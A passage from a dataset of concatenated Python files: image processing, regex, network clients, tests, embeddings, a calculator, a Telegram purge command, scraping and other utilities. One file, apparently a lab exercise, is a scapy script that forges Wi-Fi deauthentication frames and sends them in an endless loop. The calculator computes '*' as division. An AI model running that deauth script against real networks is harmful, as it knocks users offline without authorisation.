self.logger.info(\"Started Preview\")\n target = (1027, 764); # size of empty target area on polaroid background\n img = Image.open(stream)\n img = ImageOps.fit(img, (480, 240), Image.ANTIALIAS, 0, (0.5, 0.5))\n self.logger.info(\"image-fit\")\n # enhance the image a bit\n img = ImageOps.autocontrast(img, cutoff=2)\n self.logger.info(\"autocontranst\")\n img = ImageEnhance.Sharpness(img).enhance(2.0)\n self.logger.info(\"sharpness\")\n overlay = self.polaroid.copy()\n self.logger.info(\"copied\")\n #copy the image onto the polaroid background\n imgcorner = (50, 43) #paste image onto polaroid\n overlay.paste(img, imgcorner)\n self.logger.info(\"pasted\")\n\n self.logger.info(\"Finished Preview\")\n #overlay.save(filename)\n out = io.BytesIO()\n img.save(out, format='JPEG')\n return out\n","sub_path":"booth/layout/preview/Polaroid.py","file_name":"Polaroid.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"119548742","text":"import sys\nfrom greenery.lego import lego, parse\nfrom greenery.fsm import FSM\n\nregexes = list(sys.argv[1:])\n\nif len(regexes) == 0:\n from ast import literal_eval\n while True:\n reg = input(\"regex|\")\n if not reg:\n break\n if reg[0] in '\\'\"' or reg[:2] in ('r\"',\"r'\"):\n reg = literal_eval(reg)\n regexes.append(reg)\n\nif len(regexes) < 2:\n print(\"Please supply several regexes to compute their intersection, union and concatenation.\")\n print(\"E.g. \\\"19.*\\\" \\\"\\\\d{4}-\\\\d{2}-\\\\d{2}\\\"\")\n\nelse:\n regexes = [parse(regex) for regex in regexes]\n fsms = [regex.to_fsm() for regex in regexes]\n print(f\"Have Intersection: {not FSM.intersection(*fsms).empty()}\")\n print(\"Intersection: %s\" % (lego.intersection(*regexes).reduce()))\n print(\"Union: %s\" % (lego.union(*regexes).reduce()))\n print(\"Concatenation: %s\" % (lego.concatenate(*regexes).reduce()))\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"337331510","text":"# coding: utf-8\nfrom socket import *\n\nHOST = 'localhost' # 主机名\nPORT = 21567 # 端口号 与服务器一致\nBUFSIZE = 1024 # 缓冲区大小1K\nADDR = (HOST, PORT)\n\nudpCliSock = socket(AF_INET, SOCK_DGRAM)\n\nwhile True: # 无限循环等待连接到来\n try:\n data = input('>')\n if not data:\n break\n udpCliSock.sendto(data.encode(), ADDR) # 发送数据\n data, ADDR = udpCliSock.recvfrom(BUFSIZE) # 接受数据\n if not data:\n break\n print('Server : ', data)\n\n except Exception as e:\n print('Error: ', e)\n\nudpCliSock.close() # 关闭客户端","sub_path":"udp_client.py","file_name":"udp_client.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"400560289","text":"# sys.path.append('gen-py')\n\nfrom thrift.transport import TSocket\nfrom thrift.transport import TTransport\nfrom thrift.protocol import TBinaryProtocol\nfrom Common.readConfig import readconfigs\nfrom ShareMgnt import ncTShareMgnt\n\n\nclass Thrift_client(object):\n def __init__(self, service=ncTShareMgnt, tagname=\"thriftSocket_ShareMgnt\", host=None, port=None):\n readconf = readconfigs()\n if host is None:\n self.host = readconf.get_thriftSocket(tagname=tagname, name=\"host\")\n else:\n self.host = host\n if port is None:\n self.port = readconf.get_thriftSocket(tagname=tagname, name=\"port\")\n else:\n self.port = port\n\n transport = TSocket.TSocket(self.host, self.port)\n # 创建一个传输层对象(TTransport),设置调用的服务地址为本地,\n # 端口为 9090,TSocket传输方式\n self.transport = TTransport.TBufferedTransport(transport)\n self.protocol = TBinaryProtocol.TBinaryProtocol(transport)\n # 创建通信协议对象(TProtocol),设置传输协议为 TBinaryProtocol\n self.client = service.Client(self.protocol)\n # 创建一个Thrift客户端对象\n self.transport.open()\n print(\"transport已连接\")\n\n def ping(self):\n self.client.ping()\n\n def close(self):\n self.transport.close()\n","sub_path":"Common/thrift_client.py","file_name":"thrift_client.py","file_ext":"py","file_size_in_byte":1375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"246389517","text":"# -*- coding: utf-8 -*-\nimport fauxfactory\nimport pytest\n\nfrom cfme.infrastructure.provider import RHEVMProvider, SCVMMProvider\nfrom cfme.infrastructure.virtual_machines import Vm, Template\nfrom utils import testgen\n\npytestmark = [\n pytest.mark.meta(server_roles=\"+automate +notifier\"),\n pytest.mark.usefixtures('uses_infra_providers')\n]\n\n\ndef pytest_generate_tests(metafunc):\n # Filter out providers without provisioning data or hosts defined\n argnames, argvalues, idlist = testgen.infra_providers(\n metafunc, 'provisioning', template_location=[\"provisioning\", \"template\"])\n\n new_idlist = []\n new_argvalues = []\n for i, argvalue_tuple in enumerate(argvalues):\n args = dict(zip(argnames, argvalue_tuple))\n\n if metafunc.function is test_vm_genealogy \\\n and (isinstance(args['provider_crud'], RHEVMProvider) or\n isinstance(args['provider_crud'], SCVMMProvider)):\n continue\n\n if not args['provisioning']:\n # No provisioning data available\n continue\n\n # required keys should be a subset of the dict keys set\n if not {'template', 'host', 'datastore'}.issubset(args['provisioning'].viewkeys()):\n # Need all three for template provisioning\n continue\n\n new_idlist.append(idlist[i])\n new_argvalues.append(argvalues[i])\n\n testgen.parametrize(metafunc, argnames, new_argvalues, ids=new_idlist, scope=\"module\")\n\n\n@pytest.fixture(scope=\"function\")\ndef vm_name():\n vm_name = 'test_genealogy_{}'.format(fauxfactory.gen_alphanumeric())\n return vm_name\n\n\n# uncollected above in pytest_generate_tests\n@pytest.mark.meta(blockers=[\"GH#ManageIQ/manageiq:473\"])\ndef test_vm_genealogy(\n setup_provider, vm_name, provider_crud, provisioning, soft_assert, provider_mgmt, request):\n \"\"\"Tests vm geneaology\n\n Metadata:\n test_flag: geneaology, provision\n \"\"\"\n original_template = provisioning[\"template\"]\n original_vm = Vm(vm_name, provider_crud, template_name=original_template)\n original_vm.create_on_provider(find_in_cfme=True, allow_skip=\"default\")\n request.addfinalizer(\n lambda: provider_mgmt.delete_vm(original_vm.name)\n if provider_mgmt.does_vm_exist(original_vm.name) else None)\n provider_mgmt.wait_vm_steady(original_vm.name)\n first_template = original_vm.publish_to_template(\"{}x\".format(vm_name))\n soft_assert(isinstance(first_template, Template), \"first_template is not a template!\")\n request.addfinalizer(\n lambda: provider_mgmt.delete_vm(first_template.name)\n if first_template.name in provider_mgmt.list_template() else None)\n second_vm = Vm(\n \"{}x\".format(first_template.name), provider_crud, template_name=first_template.name)\n second_vm.create_on_provider(find_in_cfme=True)\n request.addfinalizer(\n lambda: provider_mgmt.delete_vm(second_vm.name)\n if provider_mgmt.does_vm_exist(second_vm.name) else None)\n soft_assert(isinstance(second_vm, Vm), \"second_vm is a template!\")\n second_vm_ancestors = second_vm.genealogy.ancestors\n # IT SEEMS IT \"BREAKS\" THE CHAIN WHEN THE VM IS CLONED TO A TEMPLATE\n # soft_assert(original_vm.name in second_vm_ancestors, \"{} is not in {}'s ancestors\".format(\n # original_vm.name, second_vm.name))\n soft_assert(first_template.name in second_vm_ancestors, \"{} is not in {}'s ancestors\".format(\n first_template.name, second_vm.name))\n","sub_path":"cfme/tests/infrastructure/test_genealogy.py","file_name":"test_genealogy.py","file_ext":"py","file_size_in_byte":3454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"649081594","text":"import heapq\n#from itertools import izip\nimport numpy as np\n\ndef ugly_normalize(vecs):\n normalizers = np.sqrt((vecs * vecs).sum(axis=1))\n normalizers[normalizers==0]=1\n return (vecs.T / normalizers).T\n\nclass Embeddings:\n def __init__(self, vecsfile, vocabfile=None, normalize=True, fMode=True):\n if fMode:\n if vocabfile is None: vocabfile = vecsfile.replace(\"npy\",\"vocab\")\n self._vecs = np.load(vecsfile)\n self._vocab = open(vocabfile).read().split()\n else:\n self._vecs = vecsfile[0]\n self._vocab = vecsfile[1]\n if normalize:\n self._vecs = ugly_normalize(self._vecs)\n self._w2v = {w:i for i,w in enumerate(self._vocab)}\n\n @classmethod\n def load(cls, vecsfile, vocabfile=None):\n return Embeddings(vecsfile, vocabfile)\n\n def word2vec(self, w):\n return self._vecs[self._w2v[w]]\n\n def similar_to_vec(self, v, N=10):\n sims = self._vecs.dot(v)\n sims = heapq.nlargest(N, list(zip(sims,self._vocab,self._vecs)))\n return sims\n\n def similar_to_avg(self, v,w):\n sims = self._vecs[self._w2v[w]].dot(v)\n return sims\n\n\n def similarity(self,word1,word2):\n vecs = self._vecs\n if word1 not in self._w2v:\n return 0\n if word2 not in self._w2v:\n return 0\n w1 = self._w2v[word1]\n w2 = self._w2v[word2]\n return vecs[w1].dot(vecs[w2])\n\n def most_similar(self, word, N=10):\n w = self._vocab.index(word)\n sims = self._vecs.dot(self._vecs[w])\n sims = heapq.nlargest(N, list(zip(sims,self._vocab)))\n return sims\n\n def scoreAnalogy(self,a1,b1,c1,d1,mult=True):\n # for target d, how much like a and b is c and d?\n wvecs = self._vecs\n if a1 not in self._w2v:\n return 0\n if b1 not in self._w2v:\n return 0\n if c1 not in self._w2v:\n return 0\n if d1 not in self._w2v:\n return 0\n d = wvecs[self._w2v[d1]]\n\n if mult:\n a = (1+d.dot(wvecs[self._w2v[a1]]))/2\n b = (1+d.dot(wvecs[self._w2v[b1]]))/2\n c = (1+d.dot(wvecs[self._w2v[c1]]))/2\n return c*b/a\n\n else:\n a = d.dot(wvecs[self._w2v[a1]])\n b = d.dot(wvecs[self._w2v[b1]])\n c = d.dot(wvecs[self._w2v[c1]])\n return c+b-a\n\n def analogy(self, pos1, neg1, pos2,N=10,mult=True):\n wvecs, vocab = self._vecs, self._vocab\n p1 = vocab.index(pos1)\n p2 = vocab.index(pos2)\n n1 = vocab.index(neg1)\n if mult:\n p1,p2,n1 = [(1+wvecs.dot(wvecs[i]))/2 for i in (p1,p2,n1)]\n if N == 1:\n return max(((v,w) for v,w in zip((p1 * p2 / n1),vocab) if w not in [pos1,pos2,neg1]))\n return heapq.nlargest(N,((v,w) for v,w in zip((p1 * p2 / n1),vocab) if w not in [pos1,pos2,neg1]))\n else:\n p1,p2,n1 = [(wvecs.dot(wvecs[i])) for i in (p1,p2,n1)]\n if N == 1:\n return max(((v,w) for v,w in zip((p1 + p2 - n1),vocab) if w not in [pos1,pos2,neg1]))\n return heapq.nlargest(N,((v,w) for v,w in zip((p1 + p2 - n1),vocab) if w not in [pos1,pos2,neg1]))\n\nif __name__ == '__main__':\n import sys\n\n e = Embeddings.load(sys.argv[1])\n\n #print e.most_similar('azkaban')\n #print e.analogy('king','man','woman')\n print (e.most_similar('azkaban'))\n print (e.analogy('king','man','woman'))\n","sub_path":"infer.py","file_name":"infer.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"39576824","text":"\r\n\"\"\"\r\nCalculadora\r\nRecebe um número, depois um argumento e outro número e exibe o resultado.\r\nFaz as quatro operações básicas +, -, * e /.\r\n\"\"\"\r\n\r\nwhile True:\r\n while True:\r\n try:\r\n num1 = float(input('Primeiro número: ')) # converter para número\r\n op = input('Operador: ')\r\n num2 = float(input('Segundo número: '))\r\n except:\r\n print(\"Erro, tente novamente\")\r\n else:\r\n break\r\n\r\n # checar o operador\r\n if op == '+':\r\n print( num1 + num2 )\r\n elif op == '-':\r\n print( num1 - num2)\r\n elif op == '/':\r\n print( num1 / num2 )\r\n elif op == '*':\r\n print( num1 / num2 )\r\n else: # operação desconhecida\r\n print('Não conheço essa operação: ' + op)\r\n\r\n # sair do programa\r\n sair = input(\"Deseja sair? \")\r\n if (sair == 'sim' or sair == \"Sim\" or sair == 's' or sair == 'S'):\r\n break\r\n","sub_path":"src/code/03/calc_v2.py","file_name":"calc_v2.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"31873850","text":"from typing import List\n\nfrom loguru import logger\nfrom pyrogram import Client, filters\nfrom pyrogram.errors import RPCError\nfrom pyrogram.types import Message\n\nfrom app.utils import get_args\n\n\n@Client.on_message(filters.me & filters.reply & filters.command(\"purge\", prefixes=\".\"))\nasync def purge_command(client: Client, message: Message):\n \"\"\"\n Purge messages in any chat, supports 2 working modes: my messages and all messages.\n \"\"\"\n args = get_args(message.text or message.caption)\n me_mode = True if \"me\" in args else False\n\n if message.chat.type in (\"group\", \"supergroup\") and not me_mode: # Check admin rights if we delete all messages\n member = await message.chat.get_member(message.from_user.id)\n if not member.can_delete_messages and member.status != \"creator\":\n me_mode = True # Not enough rights, so we'll delete our messages only\n\n message_list: List[int] = []\n try:\n async for msg in client.iter_history(\n message.chat.id, offset_id=message.reply_to_message.message_id, reverse=True\n ):\n if me_mode and msg.from_user.id != message.from_user.id:\n continue # Skip messages sent by other users if the me_mode is True\n else:\n if len(message_list) < 100:\n message_list.append(msg.message_id)\n else:\n await client.delete_messages(message.chat.id, message_ids=message_list)\n message_list = []\n\n if message_list:\n await client.delete_messages(message.chat.id, message_ids=message_list)\n except RPCError as ex:\n logger.error(f\"Could not .purge messages due to {ex}\")\n","sub_path":"app/plugins/purge.py","file_name":"purge.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"291667238","text":"nachalo = int(input())\nfor icq in range(nachalo):\n n = int(input())\n arr=list(map(int,input().split()))\n arr.sort()\n cnt = 1\n i = 0\n while(i < n-1):\n if(arr[i] + 1 == arr[i+1]): \n cnt += 1\n i += 1\n i += 1\n print(min(cnt,2))\n","sub_path":"after midterm/week13/codeforces/delenie_studentov.py","file_name":"delenie_studentov.py","file_ext":"py","file_size_in_byte":281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"372073054","text":"#!/usr/bin/python\n\n'''\nAuthor : Marie Degen\n\nLabeled all the exons with his corresponding alternative splicing event from a gene family. \nExample : python microWithoutGenes.py FAM86_microalignment.fasta\n\n'''\n\nimport sys\nimport argparse\nimport os\nfrom Bio import SeqIO\n\n#Save Path \n\ndef microWithoutGenes(microalignmentFile):\n\tpath = sys.path[0]\t\n\tsave_path = path + \"/microalignmentWithoutGene/\"\t\n\n\ttmp = microalignmentFile.split(\"/\")\n\ttmp = tmp[-1]\n\ttmp = tmp.split(\"_\")[0]\n\tsource2target = open(\"initialSource/\" + tmp + \"_initialsource2target.txt\", \"r\")\n\tlines = source2target.readlines()\n\ttranscripts = []\n\tgenes =[]\n\tfor line in lines:\n\t\tline = line.replace(\"\\n\", \"\")\n\t\tparts = line.split(\" \")\n\t\t\n\t\ttranscripts.append(parts[0])\n\t\tgenes.append(parts[1])\n\n\n\tdictSequence = {}\n\n\tfor record in SeqIO.parse(microalignmentFile, \"fasta\"):\n\t\tdictSequence[record.id] = str(record.seq)\n\n\tnamefile = microalignmentFile.split(\"/\")[-1]\n\n\tcompleteName = os.path.join(save_path, namefile) \n\toutputfile = open(completeName, \"w\")\n\n\tfor k, v in dictSequence.items():\n\t\t\n\t\tif k in transcripts:\n\t\t\toutputfile.write(\">\" + k + \"\\n\" + v + \"\\n\")\n\toutputfile.close()\n\n\treturn completeName\n\n\n","sub_path":"src/microWithoutGenes.py","file_name":"microWithoutGenes.py","file_ext":"py","file_size_in_byte":1180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"273412339","text":"import pymongo\nfrom pymongo import MongoClient\n\n\nclass RecommenderDB:\n db = None\n collection = None\n\n def __init__(self):\n client = MongoClient()\n self.db = client.VionelMovies\n self.collection = self.db.boxerMovies\n\n def get_imdbid_feature_dict(self, feature_name):\n result_dict = {}\n feature_key = \"\"\n if feature_name == \"actor\":\n feature_key = \"imdbActors\"\n elif feature_name == \"director\":\n feature_key = \"imdbDirectors\"\n elif feature_name == \"genre\":\n feature_key = \"imdbGenres\"\n elif feature_name == \"language\":\n feature_key = \"language\"\n elif feature_name == \"imdbrating\":\n feature_key = \"imdbRating\"\n elif feature_name == \"releaseyear\":\n feature_key = \"releaseYear\"\n elif feature_name == \"imdbkeyword\":\n feature_key = \"imdbKeywords\"\n elif feature_name == \"wikikeyword\":\n feature_key = \"wikiKeywords\"\n elif feature_name == \"vioneltheme\":\n feature_key = \"vionelThemes\"\n elif feature_name == \"vionelscene\":\n feature_key = \"vionelScene\"\n elif feature_name == \"locationcity\":\n feature_key = \"locationCity\"\n elif feature_name == \"locationcountry\":\n feature_key = \"locationCountry\"\n elif feature_name == \"mainactor\":\n feature_key = \"imdbMainactors\"\n \n all_movies_list = list(self.collection.find({}, {\"imdbId\": 1, feature_key: 1, \"_id\": 0}))\n # print all_movies_list\n for movie in all_movies_list:\n imdbid = movie[\"imdbId\"]\n feature = movie[feature_key]\n result_dict[imdbid] = feature\n return result_dict\n\n# recommenderdb = RecommenderDB()\n# recommenderdb.get_imdbid_feature_dict(\"actor\")","sub_path":"recommender_libs/recommender_db.py","file_name":"recommender_db.py","file_ext":"py","file_size_in_byte":1842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"323959964","text":"#!/usr/local/bin/python3\n\nimport PyPDF2\nimport datetime\nimport os\nfrom os import path\n\n\ndef main():\n\tfilesList = [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith('.pdf')]\n\tfor x in filesList:\n\t\tif x.startswith('re'):\n\t\t\tc = 1\n\t\t\tfilename = 'Uber-'+readPdf4Date(x)\n\t\t\twhile not renameFile(x,filename+'-%d' % c):\n\t\t\t\tc=c+1\n\ndef readPdf4Date(filepath):\n\tpdfFileObj = open(filepath, 'rb')\n\tpdfReader = PyPDF2.PdfFileReader(pdfFileObj)\n\tpageObj = pdfReader.getPage(0)\n\tdate_obj = datetime.datetime.strptime(pageObj.extractText().split('\\n',2)[1], '%a, %b %d, %Y')\n\tpdfFileObj.close()\n\treturn '%s' % date_obj.date()\n\ndef renameFile(oname, nname):\n\tif path.exists(nname+'.pdf'):\n\t\treturn False\n\telse:\n\t\tos.rename(oname,'%s.pdf' % nname)\n\t\tprint(oname+\": File renamed to %s.pdf\" % nname)\n\t\treturn True\n\n\t\n\n\nif __name__ == '__main__':\n\tmain()\n","sub_path":"pdf-extract-rename.py","file_name":"pdf-extract-rename.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"96630230","text":"import unittest\nfrom dirty_app.DomainService.Credit import Credit\n\nclass Credit_Devrait(unittest.TestCase):\n def test_cumuler_1(self):\n credit = Credit(\"1500\")\n result = credit.traite(\"250\")\n self.assertEqual(\"1750.0\", result)\n\n def test_cumuler_2(self):\n input = \"0\"\n credit = Credit(\"0\")\n result = credit.traite(input)\n self.assertEqual(\"0\", result)\n\n def test_cumuler_3(self):\n input = \"-10\"\n credit = Credit(\"150\")\n result = credit.traite(input)\n self.assertEqual(\"150\", result)\n\n def test_cumuler_4(self):\n input = \"12000\"\n credit = Credit(\"500\")\n result = credit.traite(input)\n self.assertEqual(\"500\", result)","sub_path":"dirty_app/UnitTests/Credit_Devrait.py","file_name":"Credit_Devrait.py","file_ext":"py","file_size_in_byte":732,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"382909681","text":"#!/usr/bin/env python3\n# Julien Huguet & Antoine Hunkeler\n\nfrom scapy.all import *\n\n# interface name and MAC addresses\niface=\"wlan0mon\"\nsrc=\"e4:b3:18:ca:9e:a5\"\ndst=\"d2:35:88:45:75:85\"\nap=\"d2:35:88:45:75:85\"\n\n# Ask user to choose the reason code\nprint(\"Reason code available : 1 - 4 - 5 - 8\")\nreasonCode = int(input(\"Choose the reason code : \")) \n\n# if reason code is 1, 4 or 5\n# set the MAC source with the access point MAC address\n# and the MAC destination with station MAC address\nif reasonCode == 1 or reasonCode == 5 or reasonCode == 4:\n\tsrc=\"B2:E4:E4:70:CC:36\"\n\tdst=\"e4:b3:18:ca:9e:a5\"\n# set the MAC source with the station MAC address\n# and the MAC destination with access point MAC address\nelif reasonCode == 8:\n\tsrc=\"e4:b3:18:ca:9e:a5\"\n\tdst=\"B2:E4:E4:70:CC:36\"\n\n# forge a deauthentification frame depending of the entering reason code\npkt = RadioTap() / Dot11( addr1 = dst, addr2 = src, addr3 = ap) / Dot11Deauth(reason=reasonCode)\n\n# send packet until interrupt\nwhile True:\n\tsendp(pkt, iface=iface, count=1)\n","sub_path":"task1_deauth.py","file_name":"task1_deauth.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"620067294","text":"# -*- coding:utf-8 -*-\nfrom mako import runtime, filters, cache\nUNDEFINED = runtime.UNDEFINED\nSTOP_RENDERING = runtime.STOP_RENDERING\n__M_dict_builtin = dict\n__M_locals_builtin = locals\n_magic_number = 10\n_modified_time = 1590597871.728182\n_enable_loop = True\n_template_filename = 'themes/foundation6/templates/base_footer.tmpl'\n_template_uri = 'base_footer.tmpl'\n_source_encoding = 'utf-8'\n_exports = ['html_footer']\n\n\ndef _mako_get_namespace(context, name):\n try:\n return context.namespaces[(__name__, name)]\n except KeyError:\n _mako_generate_namespaces(context)\n return context.namespaces[(__name__, name)]\ndef _mako_generate_namespaces(context):\n ns = runtime.TemplateNamespace('base', context._clean_inheritance_tokens(), templateuri='base_helper.tmpl', callables=None, calling_uri=_template_uri)\n context.namespaces[(__name__, 'base')] = ns\n\ndef render_body(context,**pageargs):\n __M_caller = context.caller_stack._push_frame()\n try:\n __M_locals = __M_dict_builtin(pageargs=pageargs)\n _import_ns = {}\n _mako_get_namespace(context, 'base')._populate(_import_ns, ['*'])\n __M_writer = context.writer()\n __M_writer('\\n\\n')\n __M_writer('\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\ndef render_html_footer(context):\n __M_caller = context.caller_stack._push_frame()\n try:\n _import_ns = {}\n _mako_get_namespace(context, 'base')._populate(_import_ns, ['*'])\n template_hooks = _import_ns.get('template_hooks', context.get('template_hooks', UNDEFINED))\n content_footer = _import_ns.get('content_footer', context.get('content_footer', UNDEFINED))\n __M_writer = context.writer()\n __M_writer('\\n')\n if content_footer:\n __M_writer(' <footer id=\"footer\">\\n <p><small>')\n __M_writer(str(content_footer))\n __M_writer('</small></p>\\n ')\n __M_writer(str(template_hooks['page_footer']()))\n __M_writer('\\n </footer>\\n')\n return ''\n finally:\n context.caller_stack._pop_frame()\n\n\n\"\"\"\n__M_BEGIN_METADATA\n{\"filename\": \"themes/foundation6/templates/base_footer.tmpl\", \"uri\": \"base_footer.tmpl\", \"source_encoding\": \"utf-8\", \"line_map\": {\"23\": 2, \"26\": 0, \"33\": 2, \"34\": 11, \"40\": 4, \"48\": 4, \"49\": 5, \"50\": 6, \"51\": 7, \"52\": 7, \"53\": 8, \"54\": 8, \"60\": 54}}\n__M_END_METADATA\n\"\"\"\n","sub_path":"cache/.mako.tmp/base_footer.tmpl.py","file_name":"base_footer.tmpl.py","file_ext":"py","file_size_in_byte":2436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"608257916","text":"# -*- coding: utf-8 -*-\nimport codecs\nimport numpy\nimport gensim\nimport numpy as np\nfrom word2extract import *\nimport os\nimport urllib.parse\nimport urllib.request\nfrom bs4 import BeautifulSoup\nimport random\nimport re\n\nwordvec_size=400\ndef get_char_pos(string,char):\n chPos=[]\n try:\n chPos=list(((pos) for pos,val in enumerate(string) if(val == char)))\n except:\n pass\n return chPos\n\ndef word2vec(file_name,model):\n with codecs.open(file_name, 'r') as f:\n try:\n word_vec_all = numpy.zeros(wordvec_size)\n for data in f:\n space_pos = get_char_pos(data, ' ')\n first_word=data[0:space_pos[0]]\n if model.__contains__(first_word):\n word_vec_all= word_vec_all+model[first_word]\n\n for i in range(len(space_pos) - 1):\n word = data[space_pos[i]:space_pos[i + 1]]\n if model.__contains__(word):\n word_vec_all = word_vec_all+model[word]\n return word_vec_all\n except:\n return []\n\n\ndef simlarityCalu(vector1,vector2):\n try:\n vector1Mod=np.sqrt(vector1.dot(vector1))\n vector2Mod=np.sqrt(vector2.dot(vector2))\n if vector2Mod!=0 and vector1Mod!=0:\n simlarity=(vector1.dot(vector2))/(vector1Mod*vector2Mod)####修改过了,注意一下!!!!\n if simlarity==0.9999999999999999or simlarity==1.0000000000000002or simlarity==1.0:\n simlarity=(vector1.dot(vector2))/(vector1Mod*vector2Mod)-0.01*vector1Mod\n else:\n simlarity=0\n return simlarity\n except:\n return 0\n\n\n\ndef url_open(url_random):\n url_random_new='https://'+url_random\n # print(url_random_new)\n headers = {\n\n 'User-Agent':' Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',\n\n }\n request = urllib.request.Request(url=url_random_new, headers=headers)\n response_stop = urllib.request.urlopen(request)\n content = response_stop.read().decode('gbk')\n soup = BeautifulSoup(content, 'lxml')\n title_url = soup.findAll('div', class_=\"pb20 article_detail\")\n for i in title_url:\n i_txt=i.get_text()\n # print(i_txt)\n compare_list.append(i_txt)\n # compare_list_str=str(compare_list)\n # return compare_list_str\n # print(title_url.get_text())\n\n\n\n# def find_chinese(file):\n# pattern = re.compile(r'[^\\u4e00-\\u9fa5]')\n# chinese = re.sub(pattern, '', file)\n# return chinese\n\n\n\n\ndef hdf_urlsearch(jbms):\n query_jbms = urllib.parse.quote(jbms)\n # print(query_jbms)\n url_jb = 'https://so.haodf.com/index/search?kw=' + query_jbms\n\n headers = {\n\n 'User-Agent':' Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36',\n\n }\n request = urllib.request.Request(url=url_jb, headers=headers)\n response_stop = urllib.request.urlopen(request)\n content = response_stop.read().decode()\n soup=BeautifulSoup(content,'lxml')\n title_url=soup.findAll('a',class_=\"sc-wz-title-a a-title\")\n re_url=re.compile(' href=\"//(.*?)\"',re.S)\n title_url_re=re_url.findall(str(title_url))\n random_url=random.sample(title_url_re,2)####随机选择两个网址\n for i in title_url_re:\n # print(i)\n url_open(i)\n\n\n # print(soup)\n\n\n\ndef list_deal(list_str):\n remove_1_i_txt=list_str.replace(' ','')###去掉所有的空格\n # print(remove_blank_i_txt)\n remove_2_i_txt = str(remove_1_i_txt).replace('\\n', '') ###去掉所有的空格\n remove_3_i_txt = str(remove_2_i_txt).replace('\\xa0', '')\n return remove_3_i_txt\n\n\npath_jib = \"/疾病gather/万方加百度筛选后的疾病/\"\nfiles= os.listdir(path_jib)\n\n\nif __name__ == '__main__':\n model = gensim.models.Word2Vec.load('/gensim-linuxs/data/word词去停用词/jb_use_400.word2vec')\n\n p1_keywords = '/gensim-linuxs/data/P11_keywords.txt'\n p2_keywords = '/gensim-linuxs/data/P12_keywords.txt'\n p1_keywords_new='/gensim-linuxs/data/P11_keywords_new.txt'\n\n jbms=input('请输入要查找的疾病名称:')\n JBMS=jbms.split(' ')\n\n\n # getKeywords(p2, p2_keywords)\n # p1_vec=word2vec(p1_keywords,model)\n # p2_vec=word2vec(p2_keywords,model)\n for jb in JBMS:\n try:\n compare_list = []\n print(' ')\n # hdf_urlsearch(jb)¥¥¥¥¥¥不需要下载时注释\n # compare_list_str = str(compare_list)¥¥¥¥¥¥不需要下载时注释\n\n pvec_list=[]\n p1 = '/疾病gather/好大夫搜索测试BM25-L/'+jb+'.txt'\n # for i in compare_list:¥¥¥¥¥¥不需要下载时注释\n # # print(i)¥¥¥¥¥¥不需要下载时注释\n # with open(p1,'a',encoding='utf-8')as fi:¥¥¥¥¥¥不需要下载时注释\n # fi.write(i)¥¥¥¥¥¥不需要下载时注释\n # fi.close()¥¥¥¥¥¥不需要下载时注释\n\n\n compare = {}\n getKeywords(p1, p1_keywords)\n with open(p1_keywords, 'r',encoding='utf-8')as fi:\n key_word=fi.readlines()\n for j in key_word:\n p1_keywords_newkey=j.replace('\\\\n','')\n pvec_list.append(j)\n with open(p1_keywords_new,'w',encoding='utf-8')as fp:\n pvec_list_str=str(pvec_list).replace('\\\\n','').replace(\"'\",'').replace(',','').replace('[','').replace(']','').replace(' ','').replace(' ','').replace(' ','').replace(' ','',1)\n\n fp.write(pvec_list_str)\n\n p1_vec = word2vec(p1_keywords_new, model)\n # print(p1_vec)\n for file in files: # 遍历文件夹\n f = os.path.basename(file)\n name_s = f.replace('.txt', '')\n\n # print(name)\n p2 = path_jib + '/' + f\n # p2 = './data/糖尿病.txt'\n getKeywords(p2, p2_keywords)\n\n p2_vec = word2vec(p2_keywords, model)\n # print(p2_vec)\n sim = simlarityCalu(p1_vec, p2_vec)\n sim_4 = round(sim, 4)\n compare[name_s] = sim_4\n\n\n n = 10\n ########################################################################\n L = sorted(compare.items(), key=lambda item: item[1], reverse=True)\n L = L[:n]\n print(jb)\n print(L)\n # print(simlarityCalu(p1_vec,p2_vec))\n except:\n print(jb)\n print('报错报错报错**********')\n continue","sub_path":"cos_sim/weidu/cos-400.py","file_name":"cos-400.py","file_ext":"py","file_size_in_byte":6694,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"568662086","text":"import open3d as o3d\n\nprint(\"Load a ply point cloud, print it, and render it\")\nply = o3d.io.read_point_cloud(r\"D:\\PROJECTS\\graduate_design_project\\test\\merged.ply\")\nobj = 